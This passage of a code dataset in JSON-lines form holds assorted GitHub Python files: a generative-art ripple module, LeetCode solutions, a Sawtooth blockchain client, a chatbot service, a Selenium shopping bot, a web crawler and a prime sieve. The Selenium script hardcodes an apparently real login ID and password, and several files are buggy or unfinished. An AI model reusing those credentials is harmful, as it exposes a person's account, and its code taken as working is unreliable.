Spline\nfrom .utils import _markov_next, Rtree\n\n# Number = Union[int, float]\n# Point = Tuple[Number, Number]\nPnt = Tuple[float, float]\n\n\ndef _next_point(points: Rtree, spacing: float, mode: str) -> Union[Pnt, None]:\n \"\"\"Continue from last two elements of ``points``.\"\"\"\n last = points.points[-2:]\n if mode == \"R\":\n angle = 60\n angle_inc = 5\n stop_angle = 300\n newpt_fun = lambda ang: rotated_point(last[-2], last[-1], rad(ang))\n elif mode == \"L\":\n angle = 300\n angle_inc = -5\n stop_angle = 60\n newpt_fun = lambda ang: rotated_point(last[-2], last[-1], rad(ang))\n elif mode == \"S\":\n angle = np.random.choice(range(360))\n direction = np.random.choice([-1, 1])\n angle_inc = direction * 1\n stop_angle = angle + direction * 359\n newpt_fun = lambda ang: endpoint(last[-1], angle, spacing)\n elif mode == \"X\":\n angle = np.random.choice(range(120, 241))\n direction = np.random.choice([-1, 1])\n angle_inc = direction * 1\n stop_angle = angle + direction * 359\n newpt_fun = lambda ang: rotated_point(last[-2], last[-1], rad(ang))\n elif mode == \"T\":\n return None\n\n while True:\n newpt = newpt_fun(angle)\n # 0.999 to allow for last point\n if distance(newpt, points.nearest(newpt)) >= spacing * 0.999:\n return newpt\n elif angle == stop_angle:\n return None\n else:\n angle += angle_inc\n\n\ndef _scan_for_space(\n open_space: Sequence[Pnt], points: Sequence[Pnt], spacing: float\n) -> Union[Pnt, None]:\n \"\"\"Look for new starting point.\n\n Since a new ripple needs to be drawn with spacing on either side,\n there must be fewer than 6 existing points within 2 * ``spacing``\n of the new starting point.\n\n Args:\n open_space: List of randomly ordered coordinates that have not\n yet been looked at.\n points: Existing ripple points.\n spacing: Distance between ripples.\n\n Returns:\n Either an available starting point or None if there is none available.\n\n \"\"\"\n while len(open_space) > 0:\n newpt = open_space.pop()\n neighbors = points.nearest(newpt, 6)\n # <= 5 in vicinity still has space somewhere to go\n if distance(newpt, neighbors[-1]) >= spacing * 2:\n if distance(newpt, neighbors[0]) >= spacing:\n return newpt\n return None\n\n\ndef ripple_canvas(\n w: float,\n h: float,\n spacing: float,\n trans_probs: Dict[str, Dict[str, float]] = None,\n existing_pts: Sequence[Pnt] = None,\n) -> List[dict]:\n \"\"\"Fill the canvas with ripples.\n\n The behavior of the ripples is determined by a first-order Markov\n chain in which events correspond to points along splines. The\n states are 'S', 'R', 'L', and 'X'. At 'S', the ripple begins in a\n random direction. At 'R', the ripple turns right sharply until\n encountering a ripple or other barrier, and then follows along it.\n Likewise with 'L' turning left. At 'X', the ripple moves straight\n forward +/- up to 60 degrees. Higher state-changing transition\n probabilities result in more erratic ripples.\n\n Args:\n w: Width of the canvas.\n h: Height of the canvas.\n spacing: Distance between ripples.\n trans_probs: A dictionary of dictionaries containing Markov\n chain transition probabilities from one state (first key) to\n another (second key).\n existing_pts: An optional list of points that ripples will avoid.\n\n Returns:\n The ripple splines.\n\n \"\"\"\n w = fixed_value(w)\n h = fixed_value(h)\n spacing = fixed_value(spacing)\n if trans_probs is None:\n trans_probs = dict(S=dict(R=1), R=dict(R=1))\n\n margin = 3\n bounds = add_margin((0, 0, w, h), margin)\n\n curves = [] # list of list of points that will become paths\n allpts = Rtree(existing_pts) # for finding neighbors\n\n pts = [(x, bounds[1]) for x in np.arange(bounds[0], bounds[2], spacing)]\n pts.extend([(bounds[2], y) for y in np.arange(bounds[1], bounds[3], spacing)])\n pts.extend([(x, bounds[3]) for x in np.arange(bounds[2], bounds[0], -spacing)])\n pts.extend([(bounds[0], y) for y in np.arange(bounds[3], bounds[1], -spacing)])\n curves.append(pts)\n allpts.add_points(pts)\n\n precision = 5\n xvals = np.arange(bounds[0], bounds[2], precision)\n yvals = np.arange(bounds[1], bounds[3], precision)\n open_space = [(x, y) for x in xvals for y in yvals]\n np.random.shuffle(open_space)\n\n start = _scan_for_space(open_space, allpts, spacing)\n pts = [start]\n allpts.add_point(start)\n\n mode = \"S\"\n more_space = True\n while more_space:\n newpt = _next_point(allpts, spacing, mode)\n if newpt is not None:\n pts.append(newpt)\n allpts.add_point(newpt)\n mode = _markov_next(mode, trans_probs)\n else:\n curves.append(pts)\n new_start = _scan_for_space(open_space, allpts, spacing)\n if new_start is not None:\n pts = [new_start]\n allpts.add_point(new_start)\n mode = \"S\"\n else:\n more_space = False\n\n paths = [Spline(points=p) for p in curves]\n return paths\n","repo_name":"daniel-munro/algoraphics","sub_path":"algoraphics/extras/ripples.py","file_name":"ripples.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"37300029854","text":"from collections import defaultdict, deque, Counter\n\nclass Solution:\n def largestPathValue(self, colors: str, edges: List[List[int]]) -> int:\n n = len(colors)\n graph = defaultdict(set)\n indegree = [0] * n\n for a, b in edges:\n graph[a].add(b)\n indegree[b] += 1\n q = deque()\n for i in range(n):\n if indegree[i] == 0:\n q.appendleft(i)\n ctr = [Counter() for _ in range(n)]\n res = 0\n l = 0\n while len(q) > 0:\n curr = q.pop()\n l += 1\n ctr[curr][colors[curr]] += 1\n res = max(res, ctr[curr][colors[curr]])\n for j in graph[curr]:\n for cc in range(26):\n c = chr(ord('a') + cc)\n ctr[j][c] = max(ctr[j][c], ctr[curr][c])\n indegree[j] -= 1\n if indegree[j] == 0:\n q.appendleft(j)\n if l < n:\n return -1\n return res","repo_name":"theabbie/leetcode","sub_path":"largest-color-value-in-a-directed-graph.py","file_name":"largest-color-value-in-a-directed-graph.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"32638483200","text":"import hashlib\nimport random\nfrom hashlib import sha512\nimport requests\nimport os\n\nfrom sawtooth_sdk.protobuf.batch_pb2 import BatchList\nfrom sawtooth_sdk.protobuf.transaction_pb2 import TransactionHeader\nfrom sawtooth_sdk.protobuf.transaction_pb2 import Transaction\nfrom sawtooth_sdk.protobuf.transaction_pb2 import TransactionList\nfrom sawtooth_sdk.protobuf.batch_pb2 import BatchHeader\nfrom sawtooth_sdk.protobuf.batch_pb2 import Batch\nimport sawtooth_signing\n\nfrom sawtooth_signing.secp256k1 import Secp256k1PrivateKey\nfrom sawtooth_signing import CryptoFactory\nfrom sawtooth_signing import ParseError\nfrom sawtooth_signing import create_context\n\nimport logging\n\nLOGGER = logging.getLogger(__name__)\nLOGGER.propagate = False\nLOGGER.setLevel(logging.DEBUG)\nif not LOGGER.handlers: \n LOGGER.addHandler(logging.StreamHandler())\n\n\nIOC_NAMESPACE = hashlib.sha512('ioc'.encode(\"utf-8\")).hexdigest()[0:6]\nKEY_DIR = os.path.expanduser(\"~\") + \"/.sawtooth\"\n\nURL = \"http://localhost:8008/batches\"\n\nsigner = None\n\ndef make_address(mode,message):\n\tif mode == 0: return IOC_NAMESPACE + hashlib.sha256(message).hexdigest()\n\telse: return IOC_NAMESPACE + message\n\ndef generate_keys():\n\t\n\tglobal signer\n\ttry:\n\t\tos.mkdir(KEY_DIR)\n\texcept:\n\t\tpass\n\t\n\tcontext = sawtooth_signing.create_context(\"secp256k1\")\n\tprivate_key = context.new_random_private_key()\n\tsigner = CryptoFactory(context).new_signer(private_key)\n\tpublic_key = signer.get_public_key()\n\n\twith open(KEY_DIR + \"mykey.priv\") as file:\n\t\tfile.write(private_key)\n\t\t\n\twith open(KEY_DIR + \"mykey.pub\") as file:\n\t\tfile.write(public_key)\n\ndef obtain_keys():\n\n\tif len(os.listdir(KEY_DIR)) == 0:\n\t\tLOGGER.warn(\"Keys were deleted this could genreate some problems \\\n\t\t\tit the network has a permissioned desing\")\n\t\tLOGGER.info(\"Regenerating keys...\")\n\t\tgenerate_keys()\n\t\n\tglobal signer\n\n\ttry:\n\t\twith open(KEY_DIR + \"mykey.priv\") as fd:\n\t\t\tprivate_key_str = fd.read().strip()\n\texcept OSError as err:\n\t\traise Exception('Failed to read private key {}: {}'.format(KEY_DIR, str(err))) from err\n\ttry:\t\n\t\tprivate_key = Secp256k1PrivateKey.from_hex(private_key_str)\n\texcept ParseError as e:\n\t\traise Exception('Unable to load private key: {}'.format(str(e))) from e\n\n\tsigner = CryptoFactory(create_context('secp256k1')).new_signer(private_key)\n\ndef send_transaction(payload_bytes, private_key, global_state_addr):\n\n\tcontext = sawtooth_signing.create_context(\"secp256k1\")\n\tsigner = CryptoFactory(context).new_signer(Secp256k1PrivateKey.from_hex(private_key))\n\n\t_nounce = hex(random.randint(0, 2**64))\n\n\tLOGGER.debug(_nounce)\n\n\ttxn_header_bytes = TransactionHeader(\n\t\tfamily_name='ioc',\n\t\tfamily_version='1.0',\n\t\tinputs=[global_state_addr],\n\t\toutputs=[global_state_addr],\n\t\tsigner_public_key=signer.get_public_key().as_hex(),\n\t\tbatcher_public_key=signer.get_public_key().as_hex(),\n\t\tdependencies=[],\n\t\tpayload_sha512=sha512(payload_bytes).hexdigest(),\n\t\tnonce=_nounce\n\t).SerializeToString()\n\n\tsignature = signer.sign(txn_header_bytes)\n\n\ttxn = Transaction(\n\t\theader=txn_header_bytes,\n\t\theader_signature=signature,\n\t\tpayload=payload_bytes\n\t)\n\t\n\ttxns = [txn]\n\n\tbatch_header_bytes = BatchHeader(\n\t\tsigner_public_key=signer.get_public_key().as_hex(),\n\t\ttransaction_ids=[txn.header_signature for txn in txns],\n\t).SerializeToString()\n\n\tsignature = signer.sign(batch_header_bytes)\n\n\tbatch = Batch(\n\t\theader=batch_header_bytes,\n\t\theader_signature=signature,\n\t\ttransactions=txns,\n\t\ttrace = True\n\t)\n\n\tLOGGER.debug(\"Batch signature:\" + signature)\n\n\tbatch_list_bytes = BatchList(batches=[batch]).SerializeToString()\n\n\theaders={'Content-Type': 'application/octet-stream'}\n\n\tresult = requests.post(URL, headers=headers, data=batch_list_bytes)\n\tif(result.status_code != 202):\n\t\tLOGGER.error(\"Error sending the transaction\")\n\t\tLOGGER.error(result.text)\n\t\treturn -1\n\n\treturn signature\n\n\t\n","repo_name":"MarioPalomaresGallego/IOC-Transaction-Family","sub_path":"client/IOC_Site/IOC/sawtooth_client.py","file_name":"sawtooth_client.py","file_ext":"py","file_size_in_byte":3797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31791334951","text":"from Leetcode_Problems_Python.Solver_Interface import Solver\nfrom typing import Optional, List\nimport re \n\n\n\nclass BinarySum_Solver(Solver):\n\n def solve(self, a: str, b: str) -> str:\n\n # M: easy idea: convert str to int, add, return back to binary\n \n a_i = int(a,2)\n b_i = int(b,2)\n \n sum_i = a_i + b_i\n \n return format(sum_i, 'b')\n\n def test_solve(self):\n a = \"1010\"\n b = \"1011\"\n \n sum_res = self.solve(a,b)\n print(\"Sum: \", sum_res)","repo_name":"Bussler/LeetCode_Grind75","sub_path":"Leetcode_Problems_Python/BinarySum_Solver.py","file_name":"BinarySum_Solver.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30869184211","text":"import logging\n\nfrom tornado import gen\n\nfrom chatbot.services import Service\nfrom chatbot.services.facebook import msg\nfrom chatbot.misc.router import url_for\n\nclass FacebookService(Service):\n \n name = 'facebook'\n\n def __init__(self, *args, **kwargs):\n super(FacebookService, self).__init__(*args, **kwargs)\n self._ready = False\n self.start()\n\n @property\n def ready(self):\n return self._ready\n\n @gen.coroutine\n def start(self):\n settings = [msg.SettingRequest(setting_type='domain_whitelisting', \n whitelisted_domains=['https://www.sumopromo.com'], \n domain_action_type='add'),\n msg.SettingRequest(setting_type='account_linking_url',\n account_linking_url=url_for('account.facebook_auth')),\n msg.SettingRequest(setting_type='greeting', \n greeting=[\n {\n 'text': 'SumoPromo - A real-time, location-based, on-demand promotion platform.',\n 'locale': 'default'\n }\n ]),]\n\n yield [self.fetch(setting.to_http_request()) for setting in settings]\n self._ready = True\n \n @gen.coroutine\n def handle_incoming_data(self, data):\n logging.debug('Facebook service handling incoming data ', data)\n\n if not self.ready:\n logging.error('Facebook service is not ready yet')\n return\n\n message_requests = []\n message_events = data['entry'][0]['messaging']\n for event in message_events:\n try:\n requests = yield self.generate_message_requests(event)\n message_requests += requests\n except KeyError:\n continue\n \n logging.debug('Facebook service sending replies to client')\n try:\n for request in message_requests:\n # send one by one, in order\n yield self.fetch(request.to_http_request())\n except Exception as e:\n logging.error(e)\n raise\n\n return\n \n @gen.coroutine\n def generate_message_requests(self, event):\n text = event['message']['text']\n sender_id = event['sender']['id']\n\n recipient = msg.Recipient(recipient_id=sender_id)\n \n replies = yield self.manager.generate_replies(text)\n \n requests = [ msg.MessageRequest(recipient, reply.to_facebook()) for reply in replies ]\n\n return requests\n","repo_name":"cgle/sumopromo","sub_path":"chatbot/services/facebook/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15653769325","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nclass ShoppingOnInternet():\n def __init__(self):\n self.browser = input( '어떤 브라우저를 선택하시겠습니까?')\n\n def get_brower(self):\n while True:\n if self.browser in \"c\":\n self.driver = webdriver.Chrome('C:\\pydata\\chromedriver_win32\\chromedriver.exe')\n break\n else:\n self.brwser = input(\"다시 입력해주세요\")\n continue\n\n \n\n #로그인 정보\n def login_tohomepage(self):\n #로그인 정보 입력\n id = 'Hyun6467'\n pw = '1Q2W3E!!'\n xpaths = {'id':\"//input[@name='id']\", 'pw': \"//input[@name='pwd']\" }\n\n self.driver.find_element_by_class_name(\"link__usermenu\").click()\n \n # 2. 로그인 정보 넣기\n self.driver.find_element_by_xpath(xpaths['id']).send_keys(id)\n self.driver.find_element_by_xpath(xpaths['pw']).send_keys(pw)\n\n # 3. 로그인 버튼 클릭릭\n self.driver.find_element_by_class_name(\"button_login\").click()\n\n\n #g마켓 브라우져 넣기\n def invoke_brower(self): \n url = \"http://www.gmarket.co.kr\"\n self.driver.get(url)\n self.driver.save_screenshot('1_brower_on.png')\n \n self.driver.find_element_by_xpath(\"/html/body/div/div[2]/div/div/div/div/div[2]/div[3]/ul/li[1]/a\")\n\n try:\n print('> try ~ except')\n except \"G마켓 - 쇼핑을 다 담다.\" not in self.driver.title:\n f = open('exception.txt', 'rw')\n f.write('Not exect title in driver.title\\n')\n f.close()\n\n \n def buy_goods(self):\n self.driver.find_element_by_name(\"keyword\").clear()\n self.driver.find_element_by_name(\"keyword\").send_keys(u\"대통령의 말하기\")\n self.driver.find_element_by_css_selector(\"button.button__search\").click()\n self.driver.implicitly_wait(3)\n\n # 2. 검색 결과 중 상품 선택\n self.driver.find_element_by_css_selector(\"span.text__item\").click()\n\n # def tear_down(self):\n # opened_window_list = self.driver.window_handles\n\n # # 열려있는 모든 window 로그아웃\n # index = len(opened_window_list)\n\n # self.driver.switch_to_window(self.driver.window_handles[index-1])\n # index = index -1\n # self.driver.find_element_by_xpath(\"//span{@class='myinfo']/a\").click()\n # self.driver.close()\n \nif __name__ == \"__main__\":\n shopping = ShoppingOnInternet()\n shopping.get_brower()\n shopping.invoke_brower()\n shopping.login_tohomepage()\n shopping.buy_goods()\n shopping.tear_down()\n\n\n\n\n\n\n","repo_name":"kuk6467/escape","sub_path":"Sanghyun/Selenium/gmaket_login.py","file_name":"gmaket_login.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13877747934","text":"## Library\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\nimport time\nimport json\nimport re\nimport pandas as pd\nfrom tqdm import tqdm\n\ndf = pd.read_csv('save_crawl.csv')\nlinks = df.Links.tolist()\n\ndef save_table(h3_name, h3_title):\n i=0\n header = h3_name.find_next_sibling('h4')\n\n while i < 3:\n header_title = header.text\n\n if (header_title == 'Components') or (header_title=='Data Table'):\n header_table = header.find_next_sibling('table')\n table_rows = header_table.find_all('tr')\n\n cols_lst = table_rows[0].findAll('th')\n cols = [tr.text for tr in cols_lst]\n\n l = []\n for tr in table_rows:\n td = tr.find_all('td')\n row = [tr.text for tr in td]\n l.append(row)\n df = pd.DataFrame(l[1:], columns=cols)\n df.to_csv(f'{h3_title}_{header_title}.csv', index=False)\n \n header = header.find_next_sibling('h4')\n i += 1\n\n elif header_title == 'Constant Value':\n header_table = header.find_next_sibling('table')\n type = header_table.th.text # 종류: Temperature or Pressure\n v = float(header_table.td.text) # 수치\n\n result = [[type, v]]\n df = pd.DataFrame(result)\n df.to_csv(f'{h3_title}_{header_title}.csv', index=False, header=False)\n\n header = header.find_next_sibling('h4')\n i += 1\n\n else:\n i += 1\n continue\n\n## 홈페이지\ndriver = webdriver.Chrome('/Users/yuheunkim/Downloads/chromedriver') ## CHROMEDRIVER DIR\ndriver.implicitly_wait(3)\n\nurl = 'http://www.ddbst.com/en/EED/VLE/'\n\nfor l in tqdm(links):\n # 링크 열기\n driver.get(url + l)\n time.sleep(0.5)\n # 소스 보기\n html = driver.page_source\n soup = BeautifulSoup(html, 'html.parser')\n\n if len(soup.find_all('h3')) == 1:\n dataset = soup.h3\n dataset_title = dataset.text\n save_table(dataset, dataset_title)\n\n elif len(soup.find_all('h3')) > 1:\n dataset = soup.h3\n dataset_title = dataset.text\n \n i = 0\n while i < len(soup.find_all('h3')):\n dataset_title = dataset.text\n save_table(dataset, dataset_title)\n i+=1\n dataset = dataset.find_next_sibling('h3')\n\ndriver.close()\n","repo_name":"yuheunk/crawl_code","sub_path":"chem_crawl.py","file_name":"chem_crawl.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9582350553","text":"import sys\nfrom concurrent.futures.thread import ThreadPoolExecutor\nfrom queue import Queue\nfrom threading import Thread\nimport threading\n\n\ndef _handler(event_json, respond):\n pass\n\n\nrunning = False\n\nPY3K = sys.version_info >= (3, 0)\n\nif PY3K:\n source = sys.stdin.buffer\nelse:\n # Python 2 on Windows opens sys.stdin in text mode, and\n # binary data that read from it becomes corrupted on \\r\\n\n if sys.platform == \"win32\":\n # set sys.stdin to binary mode\n import os, msvcrt\n\n msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)\n source = sys.stdin\n\nBUFFER_SIZE = 1024\n\n\ndef read(byte_count):\n recv = source.read(min(byte_count, BUFFER_SIZE))\n l = len(recv)\n while l < byte_count:\n next_recv = source.readrecv(min(byte_count - l, BUFFER_SIZE))\n recv += next_recv\n l += len(next_recv)\n return recv\n\n\ndef set_handler(handler):\n global _handler\n _handler = handler\n\n\ndef print_err(*msgs):\n print(\" \".join(str(msg) for msg in msgs), file=sys.stderr)\n pass\n\n\nstartup_latch = None\nshutdown_latch = None\nthreaded_execution = \"--threaded\" in sys.argv\n\n\n# print_err(\"threaded mode:\", threaded_execution)\n\n\ndef stop(clear_message_queue=False):\n global running\n\n if threaded_execution:\n shutdown_latch.wait()\n if clear_message_queue:\n while not message_queue.empty():\n message_queue.get(False)\n running = False\n\n\ndef start():\n global running, startup_latch, shutdown_latch\n if running:\n return\n running = True\n if threaded_execution:\n startup_latch = CountDownLatch(2)\n shutdown_latch = CountDownLatch(2)\n Thread(target=message_reader).start()\n Thread(target=message_writer).start()\n startup_latch.wait()\n else:\n while running:\n mid, message = fetch_message()\n _handler(message, lambda response: send_message(mid, response))\n\n\ndef __handler(array_args):\n # print_err(\"__HANDLER CALLED\", *array_args)\n result = None\n try:\n result = _handler(*array_args)\n except Exception as e:\n print_err(\"EXCEPTION OCCURRED\")\n print_err(e)\n return result\n\n\ndef message_reader():\n startup_latch.count_down()\n try:\n while running:\n mid, event_json = fetch_message()\n # respond = lambda response: message_queue.put((mid, response))\n thread_pool.submit(__handler, [event_json, respond(mid)])\n # thread_pool.submit(__handler, [event_json, respond])\n except Exception as e:\n print_err(e)\n shutdown_latch.count_down()\n\n\ndef respond(mid):\n return lambda response: message_queue.put((mid, response))\n\n\ndef message_writer():\n startup_latch.count_down()\n while running:\n mid, message = message_queue.get()\n send_message(mid, message)\n shutdown_latch.count_down()\n\n\nmessage_queue = Queue()\nthread_pool = ThreadPoolExecutor()\n\n\ndef fetch_message():\n id = read_int_bytes()\n event_length = read_int()\n message = read_UTF(event_length)\n return id, message\n\n\ndef read_int():\n return parse_int(read_int_bytes())\n\n\ndef parse_int(bytes):\n return int.from_bytes(bytes, \"big\")\n\n\ndef read_int_bytes():\n return read(4)\n\n\ndef read_UTF(length):\n return read(length).decode(\"utf-8\")\n\n\ndef send_message(mid, response):\n # print_err(\"> WRITING [\" + str(mid) + \"]: \" + str(response))\n to_write = mid + int_to_bytes(len(response)) + response\n sys.stdout.buffer.write(to_write)\n sys.stdout.flush()\n\n\ndef int_to_bytes(n):\n return n.to_bytes(4, \"big\")\n\n\ndef bytes_to_int(bytes):\n return int.from_bytes(bytes, \"big\")\n\n\nclass CountDownLatch:\n def __init__(self, count=1):\n self.count = count\n self.lock = threading.Condition()\n\n def count_down(self):\n self.lock.acquire()\n self.count -= 1\n if self.count <= 0:\n self.lock.notifyAll()\n self.lock.release()\n\n def wait(self):\n self.lock.acquire()\n while self.count > 0:\n self.lock.wait()\n self.lock.release()\n","repo_name":"tobq/gym4j-py","sub_path":"porter.py","file_name":"porter.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7289346212","text":"class Alunos:\n def __init__(self, idade=0, altura=0):\n self.idade = idade\n self.altura = altura\n\n def __repr__(self):\n return f\"Idade: {self.idade} Altura: {self.altura}\"\n\n\ni = int(input(\"Quantidade de Alunos: \"))\nmediaAltura = 0\nlistaAlunos = []\naltura = 0\nmenorMedia = []\nfor i in range(i):\n idade = int(input(\"Idade: \"))\n altura = float(input(\"Altura: \"))\n aluno = Alunos(idade, altura)\n listaAlunos.append(aluno)\n mediaAltura += altura\n\nmediaAltura / len(listaAlunos)\nprint(mediaAltura)\nprint(listaAlunos)\n'''INCOMPLETO'''","repo_name":"Mckz33/Exercicios_Python_Listas","sub_path":"exerc-12.py","file_name":"exerc-12.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22654938169","text":"import webapp2\nimport jinja2\nimport os\n\nfrom google.appengine.ext import ndb\nfrom google.appengine.api import users\nfrom google.appengine.ext import blobstore\nfrom blobCollection import BlobCollection\nfrom uploadHandler import UploadHandler\nfrom myuser import MyUser\n\nJINJA_ENVIRONMENT = jinja2.Environment(\nloader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\nextensions=['jinja2.ext.autoescape'],\nautoescape=True\n)\n\nclass AddPlayersData(webapp2.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'text/html'\n\n collection_key = ndb.Key('BlobCollection', 1)\n collection = collection_key.get()\n\n user = users.get_current_user()\n logout = users.create_logout_url('/')\n\n myuser_key = ndb.Key('MyUser', user.user_id())\n myuser = myuser_key.get()\n\n if collection == None:\n collection = BlobCollection(id=1)\n collection.put()\n\n template_values = {'collection' : collection,\n 'upload_url' : blobstore.create_upload_url('/upload'),\n 'logout' : logout}\n\n template = JINJA_ENVIRONMENT.get_template('addPlayersData.html')\n self.response.write(template.render(template_values))\n","repo_name":"bejoysimon/MasterThesis","sub_path":"addPlayersData.py","file_name":"addPlayersData.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28239792604","text":"'''\nAn implementation of the Sieve of Eratosthenes in Python\n'''\n\nfrom math import sqrt\nfrom time import perf_counter as pc\n\n\ndef get_user_input():\n print('\\n All the primes from 2 up to the integer entered will be returned.')\n N = input(\" enter a positive integer: \")\n return int(N)\n\ndef sieve(N):\n '''Create an array that will have True at prime-numbered indices \n and False everywhere else.'''\n arr = [True] * (N + 1)\n arr[0], arr[1] = False, False\n\n for idx in range(2, int(sqrt(N))+ 1):\n if arr[idx]:\n k = 0\n jdx = idx ** 2\n while jdx <= N:\n arr[jdx] = False\n k += 1\n jdx = idx ** 2 + idx * k\n return arr\n\ndef primed(arr):\n '''Take the Boolean array returned from sieve(),\n and return the list of primes up to N.'''\n return [idx for idx in range(len(arr)) if arr[idx]]\n\n\ndef pretty_print(lst, N):\n nr_of_primes = len(lst)\n print(f\" the {nr_of_primes} primes from 2 to {N} are\\n \")\n for idx in range(len(lst)):\n string = str(lst[idx]).rjust(8)\n if not (idx + 1) % 6:\n string += '\\n'\n print(string, end='')\n print('\\n\\n')\n\n\nif __name__ == '__main__':\n N = get_user_input()\n t0 = pc()\n list_of_primes = primed(sieve(N)) \n t1 = pc() - t0\n pretty_print(list_of_primes, N)\n print(' time: ', t1, ' sec', '\\n')\n\n","repo_name":"jwbat/python","sub_path":"primes.py","file_name":"primes.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32877169515","text":"''' End of service reward '''\nimport datetime\n\nclass eosr():\n\n\n\n def __init__(self, name, joining_date, salary):\n self.name = name\n self.joining_date = datetime.datetime( int(joining_date[0:4]) , int(joining_date[5]) , int(joining_date[-1]) )\n self.salary = salary\n\n def reward(self):\n dn = datetime.datetime.now()\n a = str(dn - self.joining_date)\n b = ''\n for i in a:\n b += i\n if i.isspace() == True:\n break\n\n x = int(b) / 365\n\n if 1 < int(x) <= 3 :\n g = int(b) / 30\n gg = (0.10 * self.salary) * g\n return f'He mr {self.name}, You worked with us {int(x)} years \\nyou will git {int(gg)}$ end of service Benefits'\n elif int(x) > 4 :\n g = int(b) / 30\n gg = (0.25 * self.salary) * g\n return f'He mr {self.name}, You worked with us {int(x)} years \\nyou will git {int(gg)}$ end of service Benefits'\n else:\n g = int(b) / 30\n gg = (0.05 * self.salary) * g\n return f'He mr {self.name}, You worked with us {int(x)} years \\nyou will git {int(gg)}$ end of service Benefits'\n\n\n\n\n\np = eosr('nasser','2015-5-12',5000)\nprint(p.reward())\n''' \nHe mr nasser, You worked with us 5 years \nyou will git 91000$ end of service Benefits\n''' ","repo_name":"ios509/reward","sub_path":"reward__.py","file_name":"reward__.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"43706932049","text":"from neo4j import GraphDatabase, Session, basic_auth, BoltStatementResult, BoltStatementResultSummary\nfrom json import dumps\nimport time\n\n\nclass Neo4jDatabase(object):\n def __init__(self, uri, user, password):\n self.driver = GraphDatabase.driver(uri, auth=basic_auth(user, password))\n\n def creatSession(self):\n return self.driver.session()\n\n def close(self):\n self.driver.session().close()\n\n def getRelatedNode(self, keywords, limit=50):\n with self.creatSession() as session:\n result = session.run(\"MATCH (m)\"\n \"WHERE (any(prop in keys(m) WHERE toString(m[prop]) =~ {keywords})) \"\n \"RETURN m as nod, ID(m) as ck \"\n # \"LIMIT {limit}\",\n , {\"keywords\": \"(?i).*\\\\b\" + str.strip(keywords) + \"\\\\b.*\"})\n # pointer of result\n # print(self.nodeToJson(result))\n\n return result\n\n def getNeighbourhood(self, ck):\n #print(type(ck))\n with self.driver.session() as session:\n result = session.run(\"MATCH (m)-[r]-(n)\"\n \"WHERE ID(m) = {ck}\"\n \"return m as start,n as end,r as relationship\", {\"ck\": int(ck)})\n return result\n\n @staticmethod\n def neibourToJson(result):\n relationships = result.graph().relationships\n relationlist = {}\n index = 0\n nodes = []\n edges = []\n for eachRel in relationships:\n startcaption = \"\"\n endcaption = \"\"\n if index == 0:\n for i, j in eachRel.end_node.items():\n startcaption += i + \":\" + str(j) + \"\\n\"\n nodes.append({'id': index, 'caption': startcaption})\n index += 1\n for i, j in eachRel.start_node.items():\n endcaption += (i + \":\" + str(j) + \"\\n\")\n nodes.append({'id': index, 'caption': endcaption})\n edgeLabel = eachRel.type\n edges.append({'source': 0, 'target': 1, 'caption': edgeLabel})\n else:\n for i, j in eachRel.start_node.items():\n endcaption += (i + \":\" + str(j) + \"\\n\")\n nodes.append({'id': index, 'caption': endcaption})\n index += 1\n edgeLabel = eachRel.type\n edges.append({'source': 0, 'target': index, 'caption': edgeLabel})\n relationlist.update({'nodes': nodes})\n relationlist.update({'links': edges})\n return dumps(relationlist, indent=2)\n\n @staticmethod\n def nodeToJson(result):\n all_node_json = []\n for record in result:\n dic = {}\n for i in record.keys():\n if i == 'ck':\n dic.update({i: record[i]})\n else:\n for j, k in record[i].items():\n dic.update({j: k})\n all_node_json.append(dic)\n return dumps(all_node_json)\n\n def getNodeTime(self, keywords):\n total_time = 0.0\n start = time.time()\n result = self.getRelatedNode(keywords)\n total_time = time.time() - start\n return total_time\n\n def getNeiTime(self, ck):\n total_time = 0.0\n start = time.time()\n result = self.getNeighbourhood(ck)\n total_time = time.time() - start\n return total_time\n","repo_name":"stevenneptune/Knowledgegraph","sub_path":"src/neo4j_database.py","file_name":"neo4j_database.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35800005153","text":"from typing import Optional\n\nfrom webdnn.graph import traverse\nfrom webdnn.graph.graph import Graph\nfrom webdnn.graph.operators.elementwise import Elementwise\nfrom webdnn.graph.variable import Variable\nfrom webdnn.graph.variables.constant_variable import ConstantVariable\n\n\nclass FusedElementwise(Elementwise):\n \"\"\"\n Fused elementwise operator\n\n Before:\n\n ... code-block:: text\n\n sub graph\n +-------------------------------+\n -{op0}-> v1 